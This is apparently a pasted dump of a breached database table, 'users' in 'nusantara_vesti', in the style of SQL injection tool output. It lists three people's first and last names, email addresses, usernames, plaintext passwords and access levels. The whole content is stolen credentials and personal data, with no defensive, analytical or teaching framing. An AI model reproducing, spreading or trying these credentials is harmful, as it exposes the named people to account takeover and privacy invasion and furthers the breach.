  1605. +-------------+--------------------+---------------------+
  1606.  
  1607. Database: nusantara_vesti
  1608. Table: users
  1609. [3 entries]
  1610. +-----+-------+-------------------------+----------+----------+------------------+-----------+
  1611. | IDU | Ime | Email | Prezime | Username | Password | UserLevel |
  1612. +-----+-------+-------------------------+----------+----------+------------------+-----------+
  1613. | 1 | Ivan | ivan@lifestardesign.com | Lukia | ivan | bZP2x2od7Q!!0TGn | -1 |
  1614. | 2 | Ida | idabrozovic@gmail.com | Brozovia | ida | bZP2x2od7Q!!0TGn | -1 |
  1615. | 3 | Irena | il.office@gmail.com | Lukic | irena | staJe539.}[!JowR | 0 |
  1616. +-----+-------+-------------------------+----------+----------+------------------+-----------+
Add Comment
Please, Sign In to add comment